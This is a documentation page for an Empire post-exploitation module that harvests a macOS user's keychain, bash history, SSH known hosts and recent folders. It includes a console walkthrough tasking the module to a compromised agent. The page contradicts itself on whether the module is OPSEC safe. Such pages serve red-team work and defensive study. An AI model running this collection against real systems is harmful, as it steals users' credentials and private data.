PillageUser - Empire Module


This page contains detailed information about how to use the python/collection/osx/pillage_user Empire module. For list of all Empire modules, visit the Empire Module Library.

Module Overview

Name: PillageUser
Module: python/collection/osx/pillage_user
Source code: empire/server/modules/python/collection/osx/pillage_user.yaml
MITRE ATT&CK: T1139
Language: Python
Needs admin: No
OPSEC safe: Yes
Background: No

The pillage_user module pillages the current user for their keychain, bash_history, ssh known hosts, recent folders, etc. For logon.keychain, use https://github.com/n0fate/chainbreaker .For other .plist files, check https://davidkoepi.wordpress.com/2013/07/06/macforensics5/.

This module runs in a foreground and is OPSEC unsafe as it writes on the disk and therefore could be detected by AV/EDR running on the target system.

Note that the pillage_user module does not need administrative privileges to work properly which means that a normal user can run this module.

Required Module Options

This is a list of options that are required by the pillage_user module:

Agent
Agent to execute module on.

Additional Module Options

This is a list of additional options that are supported by the pillage_user module:

AllUsers
Switch. Run for all users (needs root privileges!).
Default value: False.

Sleep
Switch. Sleep the agent's normal interval between downloads, otherwise use one blast.
Default value: True.

Pillage_user Example Usage

Here's an example of how to use the pillage_user module in the Empire client console:

[+] New agent Y4LHEV83 checked in
[*] Sending agent (stage 2) to Y4LHEV83 at 192.168.204.135
(empire usestager/osx/ducky) > usemodule python/collection/osx/pillage_user

 Author       @harmj0y                                                              
 Background   False                                                                 
 Comments     https://davidkoepi.wordpress.com/2013/07/06/macforensics5/            
 Description  Pillages the current user for their keychain, bash_history, ssh known 
              hosts, recent folders, etc. For logon.keychain, use                   
              https://github.com/n0fate/chainbreaker .For other .plist files, check 
              https://davidkoepi.wordpress.com/2013/07/06/macforensics5/            
 Language     python                                                                
 Name         python/collection/osx/pillage_user                                    
 NeedsAdmin   False                                                                 
 OpsecSafe    True                                                                  
 Techniques   http://attack.mitre.org/techniques/T1139                              


,Record Options----,----------,----------------------------------,
| Name     | Value | Required | Description                      |
|----------|-------|----------|----------------------------------|
| Agent    |       | True     | Agent to execute module on.      |
|----------|-------|----------|----------------------------------|
| AllUsers | False | False    | Switch. Run for all users (needs |
|          |       |          | root privileges!)                |
|----------|-------|----------|----------------------------------|
| Sleep    | True  | False    | Switch. Sleep the agent's normal |
|          |       |          | interval between downloads,      |
|          |       |          | otherwise use one blast.         |
'----------'-------'----------'----------------------------------'

(Empire: usemodule/python/collection/osx/pillage_user) > set Agent Y4LHEV83
[*] Set Agent to Y4LHEV83
(Empire: usemodule/python/collection/osx/pillage_user) > execute
[*] Tasked Y4LHEV83 to run Task 1
...

Now wait for the results to come.

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Version

This page has been created based on Empire version 4.1.3 (BC Security Fork).
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